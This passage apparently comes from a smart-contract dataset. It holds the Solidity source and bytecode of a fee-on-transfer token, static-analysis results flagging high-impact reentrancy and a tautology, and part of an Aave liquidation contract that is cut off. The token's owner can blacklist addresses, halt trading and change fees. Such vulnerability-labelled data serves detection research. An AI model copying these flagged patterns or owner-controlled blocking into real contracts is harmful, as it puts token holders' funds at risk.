zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b057600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ae9565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600a8152692a34329022b634ba329760b11b60208201525b60405161023a9190611bae565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611c03565b61069a565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50683635c9adc5dea000005b60405190815260200161023a565b3480156102dd57600080fd5b506102636102ec366004611c2f565b6106b1565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023a565b34801561032f57600080fd5b50601554610293906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611c70565b61071a565b34801561036f57600080fd5b506101fc61037e366004611c9d565b610765565b34801561038f57600080fd5b506101fc6107ad565b3480156103a457600080fd5b506102c36103b3366004611c70565b6107f8565b3480156103c457600080fd5b506101fc61081a565b3480156103d957600080fd5b506101fc6103e8366004611cb8565b61088e565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611c70565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610293565b34801561045a57600080fd5b506101fc610469366004611c9d565b6108cd565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b506040805180820190915260038152624e574f60e81b602082015261022d565b3480156104bc57600080fd5b506101fc6104cb366004611cb8565b610915565b3480156104dc57600080fd5b506101fc6104eb366004611cd1565b610944565b3480156104fc57600080fd5b5061026361050b366004611c03565b610afa565b34801561051c57600080fd5b5061026361052b366004611c70565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc610b07565b34801561056157600080fd5b506101fc610570366004611d03565b610b5b565b34801561058157600080fd5b506102c3610590366004611d87565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611cb8565b610bfc565b3480156105e757600080fd5b506101fc6105f6366004611c70565b610c2b565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611dc0565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611df5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611e21565b915050610631565b5050565b60006106a7338484610d15565b5060015b92915050565b60006106be848484610e39565b610710843361070b85604051806060016040528060288152602001611f3b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611375565b610d15565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611dc0565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611dc0565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f5816113af565b50565b6001600160a01b0381166000908152600260205260408120546106ab906113e9565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611dc0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611dc0565b674563918244f400008111156107f557601655565b6000546001600160a01b031633146108f75760405162461bcd60e51b815260040161062590611dc0565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093f5760405162461bcd60e51b815260040161062590611dc0565b601855565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161062590611dc0565b60048411156109cd5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610625565b6014821115610a295760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610625565b6004831115610a895760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610625565b6014811115610ae65760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610625565b600893909355600a91909155600955600b55565b60006106a7338484610e39565b6012546001600160a01b0316336001600160a01b03161480610b3c57506013546001600160a01b0316336001600160a01b0316145b610b4557600080fd5b6000610b50306107f8565b90506107f58161146d565b6000546001600160a01b03163314610b855760405162461bcd60e51b815260040161062590611dc0565b60005b82811015610bf6578160056000868685818110610ba757610ba7611df5565b9050602002016020810190610bbc9190611c70565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bee81611e21565b915050610b88565b50505050565b6000546001600160a01b03163314610c265760405162461bcd60e51b815260040161062590611dc0565b601755565b6000546001600160a01b03163314610c555760405162461bcd60e51b815260040161062590611dc0565b6001600160a01b038116610cba5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610dd85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610eff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610f615760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610f8d57506000546001600160a01b03838116911614155b1561126e57601554600160a01b900460ff16611026576000546001600160a01b038481169116146110265760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b6016548111156110785760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff161580156110ba57506001600160a01b03821660009081526010602052604090205460ff16155b6111125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b038381169116146111975760175481611134846107f8565b61113e9190611e3c565b106111975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b60006111a2306107f8565b6018546016549192508210159082106111bb5760165491505b8080156111d25750601554600160a81b900460ff16155b80156111ec57506015546001600160a01b03868116911614155b80156112015750601554600160b01b900460ff165b801561122657506001600160a01b03851660009081526005602052604090205460ff16155b801561124b57506001600160a01b03841660009081526005602052604090205460ff16155b1561126b576112598261146d565b47801561126957611269476113af565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b057506001600160a01b03831660009081526005602052604090205460ff165b806112e257506015546001600160a01b038581169116148015906112e257506015546001600160a01b03848116911614155b156112ef57506000611369565b6015546001600160a01b03858116911614801561131a57506014546001600160a01b03848116911614155b1561132c57600854600c55600954600d555b6015546001600160a01b03848116911614801561135757506014546001600160a01b03858116911614155b1561136957600a54600c55600b54600d555b610bf6848484846115f6565b600081848411156113995760405162461bcd60e51b81526004016106259190611bae565b5060006113a68486611e54565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156114505760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b600061145a611624565b90506114668382611647565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b5576114b5611df5565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150957600080fd5b505afa15801561151d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115419190611e6b565b8160018151811061155457611554611df5565b6001600160a01b03928316602091820292909201015260145461157a9130911684610d15565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b3908590600090869030904290600401611e88565b600060405180830381600087803b1580156115cd57600080fd5b505af11580156115e1573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061160357611603611689565b61160e8484846116b7565b80610bf657610bf6600e54600c55600f54600d55565b60008060006116316117ae565b90925090506116408282611647565b9250505090565b600061146683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117f0565b600c541580156116995750600d54155b156116a057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c98761181e565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fb908761187b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172a90866118bd565b6001600160a01b03891660009081526002602052604090205561174c8161191c565b6117568483611966565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179b91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117ca8282611647565b8210156117e757505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118115760405162461bcd60e51b81526004016106259190611bae565b5060006113a68486611ef9565b600080600080600080600080600061183b8a600c54600d5461198a565b925092509250600061184b611624565b9050600080600061185e8e8787876119df565b919e509c509a509598509396509194505050505091939550919395565b600061146683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611375565b6000806118ca8385611e3c565b9050838110156114665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b6000611926611624565b905060006119348383611a2f565b3060009081526002602052604090205490915061195190826118bd565b30600090815260026020526040902055505050565b600654611973908361187b565b60065560075461198390826118bd565b6007555050565b60008080806119a4606461199e8989611a2f565b90611647565b905060006119b7606461199e8a89611a2f565b905060006119cf826119c98b8661187b565b9061187b565b9992985090965090945050505050565b60008080806119ee8886611a2f565b905060006119fc8887611a2f565b90506000611a0a8888611a2f565b90506000611a1c826119c9868661187b565b939b939a50919850919650505050505050565b600082611a3e575060006106ab565b6000611a4a8385611f1b565b905082611a578583611ef9565b146114665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b8035611ae481611ac4565b919050565b60006020808385031215611afc57600080fd5b823567ffffffffffffffff80821115611b1457600080fd5b818501915085601f830112611b2857600080fd5b813581811115611b3a57611b3a611aae565b8060051b604051601f19603f83011681018181108582111715611b5f57611b5f611aae565b604052918252848201925083810185019188831115611b7d57600080fd5b938501935b82851015611ba257611b9385611ad9565b84529385019392850192611b82565b98975050505050505050565b600060208083528351808285015260005b81811015611bdb57858101830151858201604001528201611bbf565b81811115611bed576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1657600080fd5b8235611c2181611ac4565b946020939093013593505050565b600080600060608486031215611c4457600080fd5b8335611c4f81611ac4565b92506020840135611c5f81611ac4565b929592945050506040919091013590565b600060208284031215611c8257600080fd5b813561146681611ac4565b80358015158114611ae457600080fd5b600060208284031215611caf57600080fd5b61146682611c8d565b600060208284031215611cca57600080fd5b5035919050565b60008060008060808587031215611ce757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1857600080fd5b833567ffffffffffffffff80821115611d3057600080fd5b818601915086601f830112611d4457600080fd5b813581811115611d5357600080fd5b8760208260051b8501011115611d6857600080fd5b602092830195509350611d7e9186019050611c8d565b90509250925092565b60008060408385031215611d9a57600080fd5b8235611da581611ac4565b91506020830135611db581611ac4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3557611e35611e0b565b5060010190565b60008219821115611e4f57611e4f611e0b565b500190565b600082821015611e6657611e66611e0b565b500390565b600060208284031215611e7d57600080fd5b815161146681611ac4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed85784516001600160a01b031683529383019391830191600101611eb3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3557611f35611e0b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aca1023133032657c79c210e3dc15757fe031cd29b58a281ef3ca91380064e0c64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
8,342
0x61d2c951aec35d7723758676ce16ec96428bfb5d
/** *Submitted for verification at Etherscan.io on 2020-10-28 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: *"); return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint a, uint b) internal pure returns (uint) { return mod(a, b, "mod: %"); } function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: < 0"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: !contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: !succeed"); } } } interface IAave { function liquidationCall( address _collateral, address _reserve, address _user, uint256 _purchaseAmount, bool _receiveAToken ) external payable; function getUserReserveData(address _reserve, address _user) external view returns ( uint256 currentATokenBalance, uint256 currentBorrowBalance, uint256 principalBorrowBalance, uint256 borrowRateMode, uint256 borrowRate, uint256 liquidityRate, uint256 originationFee, uint256 variableBorrowIndex, uint256 lastUpdateTimestamp, bool usageAsCollateralEnabled ); } interface IKeep3rV1 { function isKeeper(address) external returns (bool); function worked(address keeper) external; } contract AaveLiquidate { using SafeERC20 for IERC20; IAave constant public AAVE = IAave(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address constant public CORE = address(0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3); function getUserReserveBalance(address _reserve, address _user) public view returns (uint256) { (,uint currentBorrowBalance,,,,,,,,) = AAVE.getUserReserveData(_reserve, _user); return currentBorrowBalance; } modifier upkeep() { require(KP3R.isKeeper(msg.sender), "::isKeeper: keeper is not registered"); _; KP3R.worked(msg.sender); } IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); function liquidate(address _collateral, address _reserve, address _user) external upkeep { uint256 _repay = getUserReserveBalance(_reserve, _user); require(_repay > 0, "No debt"); IERC20(_reserve).safeTransferFrom(msg.sender, address(this), _repay); IERC20(_reserve).safeApprove(CORE, _repay); AAVE.liquidationCall(_collateral, _reserve, _user, _repay, false); IERC20(_reserve).safeApprove(CORE, 0); uint256 _liquidated = IERC20(_collateral).balanceOf(address(this)); require(_liquidated > 0, "Failed to liquidate"); IERC20(_reserve).safeTransfer(msg.sender, IERC20(_reserve).balanceOf(address(this))); IERC20(_collateral).safeTransfer(msg.sender, 